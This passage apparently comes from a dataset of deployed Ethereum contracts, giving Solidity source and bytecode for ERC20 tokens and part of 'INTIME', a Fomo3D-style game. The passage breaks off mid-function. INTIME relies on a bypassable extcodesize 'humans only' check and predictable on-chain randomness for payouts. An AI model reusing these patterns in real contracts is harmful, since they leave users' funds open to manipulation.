public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue)
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue)
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(
address from,
address to,
uint256 value
) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
}
|
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce56714610259578063395093511461028a57806370a08231146102ef57806395d89b4114610346578063a457c2d7146103d6578063a9059cbb1461043b578063dd62ed3e146104a0575b600080fd5b3480156100c057600080fd5b506100c9610517565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b9565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be6106e6565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106f0565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e6108a2565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108b9565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610af0565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b5061035b610b38565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bda565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e11565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b50610501600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e28565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105af5780601f10610584576101008083540402835291602001916105af565b820191906000526020600020905b81548152906001019060200180831161059257829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156105f657600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561077d57600080fd5b61080c82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaf90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610897848484610ed0565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108f657600080fd5b61098582600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bd05780601f10610ba557610100808354040283529160200191610bd0565b820191906000526020600020905b815481529060010190602001808311610bb357829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c1757600080fd5b610ca682600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaf90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610e1e338484610ed0565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080838311151515610ec157600080fd5b82840390508091505092915050565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610f1d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610f5957600080fd5b610faa816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaf90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015151561110057600080fd5b80915050929150505600a165627a7a7230582092e708d46ffa334c851d78b9d0fdd5037e0e34043f082929c5f5bf677cd725eb0029
|
{"success": true, "error": null, "results": {}}
| 8,153 |
0x3d755d25d356cb071528e65fe05c4a45ae9d6c2f
|
pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract HeyfanToken is StandardToken, Ownable {
// Constants
string public constant name = "Heyfan Token";
string public constant symbol = "HECC";
uint8 public constant decimals = 4;
uint256 public constant INITIAL_SUPPLY = 27500000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function HeyfanToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
}
|
0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101aa57806323b872dd146101cf5780632ff2e9dc146101f7578063313ce5671461020a5780635f56b6fe14610233578063661884631461024b57806370a082311461026d578063715018a61461028c5780638da5cb5b1461029f57806395d89b41146102ce578063a9059cbb146102e1578063d73dd62314610303578063dd62ed3e14610325578063f2fde38b1461034a575b600080fd5b34156100f557600080fd5b6100fd610369565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610139578082015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017f57600080fd5b610196600160a060020a03600435166024356103a0565b604051901515815260200160405180910390f35b34156101b557600080fd5b6101bd61040c565b60405190815260200160405180910390f35b34156101da57600080fd5b610196600160a060020a0360043581169060243516604435610412565b341561020257600080fd5b6101bd610592565b341561021557600080fd5b61021d61059b565b60405160ff909116815260200160405180910390f35b341561023e57600080fd5b6102496004356105a0565b005b341561025657600080fd5b610196600160a060020a0360043516602435610636565b341561027857600080fd5b6101bd600160a060020a0360043516610730565b341561029757600080fd5b61024961074b565b34156102aa57600080fd5b6102b26107bd565b604051600160a060020a03909116815260200160405180910390f35b34156102d957600080fd5b6100fd6107cc565b34156102ec57600080fd5b610196600160a060020a0360043516602435610803565b341561030e57600080fd5b610196600160a060020a0360043516602435610915565b341561033057600080fd5b6101bd600160a060020a03600435811690602435166109b9565b341561035557600080fd5b610249600160a060020a03600435166109e4565b60408051908101604052600c81527f48657966616e20546f6b656e0000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a038316151561042957600080fd5b600160a060020a03841660009081526020819052604090205482111561044e57600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561048157600080fd5b600160a060020a0384166000908152602081905260409020546104aa908363ffffffff610a7f16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546104df908363ffffffff610a9116565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610525908363ffffffff610a7f16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b64400746fe0081565b600481565b60035433600160a060020a039081169116146105bb57600080fd5b80151561060057600354600160a060020a039081169030163180156108fc0290604051600060405180830381858888f1935050505015156105fb57600080fd5b610633565b600354600160a060020a031681156108fc0282604051600060405180830381858888f19350505050151561063357600080fd5b50565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561069357600160a060020a0333811660009081526002602090815260408083209388168352929052908120556106ca565b6106a3818463ffffffff610a7f16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60035433600160a060020a0390811691161461076657600080fd5b600354600160a060020a03167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a031681565b60408051908101604052600481527f4845434300000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561081a57600080fd5b600160a060020a03331660009081526020819052604090205482111561083f57600080fd5b600160a060020a033316600090815260208190526040902054610868908363ffffffff610a7f16565b600160a060020a03338116600090815260208190526040808220939093559085168152205461089d908363ffffffff610a9116565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205461094d908363ffffffff610a9116565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146109ff57600080fd5b600160a060020a0381161515610a1457600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610a8b57fe5b50900390565b81810182811015610a9e57fe5b929150505600a165627a7a723058200ea0b89fc346db806852c423660495c90231897d5612a1775a82614a4e2beafe0029
|
{"success": true, "error": null, "results": {}}
| 8,154 |
0xea374970cb477d4b4bec65ca8ac086c42542e121
|
pragma solidity ^0.4.24;
contract INTIME {
using SafeMath for *;
struct Player {
uint id;
uint referrer;
uint generation;
string name;
uint256 weight;
uint256 balance;
uint256 withdrawal;
uint256 referralBonus;
uint256 lastKeyBonus;
uint256 potBonus;
uint256 stakingBonus;
uint256 airdropBonus;
}
mapping(address => Player) public players;
// System
address public teamAddress;
uint256 public teamNamingIncome;
address public keyAddress;
address[] participantPool;
uint256 participantPoolStart;
uint256 participantPoolEnd;
address[] public participants;
uint256 public participantsLength;
address[] public winner;
uint256 public deadline;
uint256 keyPrice_min;
uint256 keyPrice_max;
uint256 public keyPrice;
uint256 public currentGeneration;
uint256 public currentKeyRound;
uint256 public duration;
uint256[] public durationPhaseArray;
uint256 public durationPhaseIndex;
uint256 public poolWeight;
uint256 public poolBalance;
uint256 public poolReward;
uint256 public poolWithdraw;
bool public airdropped;
bool public keyLocked;
uint256 public airdropWinTime;
uint256 public airdropBalance;
uint256 public airdroppedAmount;
uint256 public unitStake;
uint256 public potReserve;
mapping(string => address) addressFromName;
event Withdrawal(
address indexed _from,
uint256 _value
);
event Deposit(
address indexed _keyHolder,
uint256 _weight,
uint256 _keyPrice,
uint256 _deadline,
uint256 _durationPhaseIndex,
bool _phaseChanged,
uint256 _poolBalance,
uint256 _poolReward,
uint256 _poolWeight,
// If Airdrop
bool _airdropped,
uint256 _airdropBalance,
// If Trigger Reserve
bool _potReserveGive,
uint256 _potReserve
);
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* Constructor function
*
*/
constructor (
address _teamAddress
) public {
teamAddress = _teamAddress;
keyPrice_min = 1e14; // in wei, 0.0001 eth
keyPrice_max = 15e15; // in wei, 0.015 eth
keyPrice = keyPrice_min; // in wei, 0.0001 eth
keyAddress = msg.sender;
durationPhaseArray = [1440, 720, 360, 180, 90, 60, 30];
durationPhaseIndex = 0;
duration = durationPhaseArray[durationPhaseIndex];
currentGeneration = 0;
resetGame();
}
function resetGame() private {
uint256 residualBalance = 0;
if(currentGeneration != 0) {
// Distribute tokens
// Staking distribution => distributed on deposit
// Pool distribution => 20%
unitStake = 0;
// 75% for the winner;
players[keyAddress].balance += poolBalance / 5 * 75 / 100;
players[keyAddress].lastKeyBonus += poolBalance / 5 * 75 / 100;
// 15% for random participant
if(participantPoolEnd - participantPoolStart > 0) {
uint randParticipantIndex = rand(participantPoolStart + 1, participantPoolEnd);
players[participantPool[randParticipantIndex - 1]].balance += poolBalance / 5 * 15 / 100;
players[participantPool[randParticipantIndex - 1]].lastKeyBonus += poolBalance / 5 * 15 / 100;
} else {
players[keyAddress].balance += poolBalance / 5 * 15 / 100;
players[keyAddress].lastKeyBonus += poolBalance / 5 * 15 / 100;
}
// 10% and pot reserve for next round
residualBalance += poolBalance / 5 * 10 / 100 + potReserve;
winner.push(keyAddress);
}
airdropWinTime = now;
keyPrice = 1e15;
poolWeight = 0;
poolReward = 0;
potReserve = 0;
// Reset duration and deadline
durationPhaseIndex = 0;
duration = durationPhaseArray[durationPhaseIndex];
deadline = now + duration * 1 minutes;
poolBalance = residualBalance;
keyLocked = false;
currentKeyRound = 0;
currentGeneration ++;
keyAddress = teamAddress;
participantPoolStart = participantPool.length;
participantPoolEnd = participantPool.length;
}
/**
* Unique address
*
*/
function setName(string name) isHuman() payable public {
uint256 amount = msg.value;
require(amount >= 1e15);
require(addressFromName[name] == address(0));
players[teamAddress].balance += amount;
teamNamingIncome += amount;
players[msg.sender].name = name;
addressFromName[name] = msg.sender;
}
/**
* Fallback function
*
* The function without name is the default function that is called whenever anyone sends funds to a contract
*/
function referralName (string name) isHuman() payable public {
if(addressFromName[name] != address(0) && addressFromName[name] != msg.sender && players[msg.sender].referrer == 0)
players[msg.sender].referrer = players[addressFromName[name]].id;
uint256 amount = msg.value;
deposit(amount);
}
function referralPay (uint referrer) isHuman() payable public {
if(referrer > participants.length)
referrer = 0;
if(players[msg.sender].id != referrer && players[msg.sender].referrer == 0)
players[msg.sender].referrer = referrer;
uint256 amount = msg.value;
deposit(amount);
}
function () isHuman() payable public {
uint256 amount = msg.value;
deposit(amount);
}
function depositVault (uint keyCount, uint referrer) isHuman() public {
require(keyLocked == false);
keyLocked = true;
// Buy key from current balance
uint256 amount = keyCount * keyPrice;
uint256 availableWithdrawal = players[msg.sender].balance - players[msg.sender].withdrawal;
require(amount <= availableWithdrawal);
require(amount > 0);
players[msg.sender].withdrawal += amount;
if(referrer > participants.length)
referrer = 0;
if(players[msg.sender].id != referrer && players[msg.sender].referrer == 0)
players[msg.sender].referrer = referrer;
keyLocked = false;
deposit(amount);
}
function deposit(uint256 amount) private {
if(now >= deadline) resetGame();
require(keyLocked == false);
keyLocked = true;
// Update pool balance
require(amount >= keyPrice, "You have to buy at least one key.");
poolBalance += amount;
currentKeyRound ++;
participantPool.push(msg.sender);
participantPoolEnd = participantPool.length;
// Update deadline if not last round
if(durationPhaseIndex < 6) deadline = now + duration * 1 minutes;
// Update key holder
keyAddress = msg.sender;
if(players[msg.sender].generation == 0) {
participants.push(msg.sender);
participantsLength = participants.length;
players[msg.sender].id = participants.length;
}
if(players[msg.sender].generation != currentGeneration) {
players[msg.sender].generation = currentGeneration;
players[msg.sender].weight = 0;
}
// Handling stake distribution
uint256 p_i = 0;
uint256 deltaStake = 0;
address _addr;
// 58% for staking
if(poolWeight > 0) {
unitStake = amount * 58 / 100 / poolWeight;
for(p_i = 0; p_i < participants.length; p_i++) {
_addr = participants[p_i];
if(players[_addr].generation == currentGeneration) {
players[_addr].balance += players[_addr].weight * unitStake;
players[_addr].stakingBonus += players[_addr].weight * unitStake;
}
}
}
// 15% for referral
if(players[msg.sender].referrer > 0) {
_addr = participants[players[msg.sender].referrer - 1];
players[_addr].balance += amount * 15 / 100;
players[_addr].referralBonus += amount * 15 / 100;
} else {
if(poolWeight > 0) {
deltaStake = amount * 15 / 100 / poolWeight;
for(p_i = 0; p_i < participants.length; p_i++) {
_addr = participants[p_i];
if(players[_addr].generation == currentGeneration) {
players[_addr].balance += players[_addr].weight * deltaStake;
players[_addr].stakingBonus += players[_addr].weight * deltaStake;
}
}
} else {
players[teamAddress].balance += amount * 15 / 100;
players[teamAddress].stakingBonus += amount * 15 / 100;
}
}
// 4% for team
unitStake += deltaStake;
players[teamAddress].balance += amount * 4 / 100;
players[teamAddress].stakingBonus += amount * 4 / 100;
poolReward += amount * 77 / 100;
airdropBalance += amount * 2 / 100;
airdropped = false;
airdroppedAmount = 0;
uint randNum = 0;
if(amount >= 1e17 && amount < 1e18) {
// 0.1 ~ 1 eth, 1% chance
randNum = rand(1, 10000);
if(randNum <= 10) airdropped = true;
} else if(amount >= 1e18 && amount < 1e19) {
// 1 eth ~ 10 eth, 10% chance
randNum = rand(1, 10000);
if(randNum <= 100) airdropped = true;
} else if(amount >= 1e19) {
// greater than 1 eth, 5% chance
randNum = rand(1, 10000);
if(randNum <= 500) airdropped = true;
}
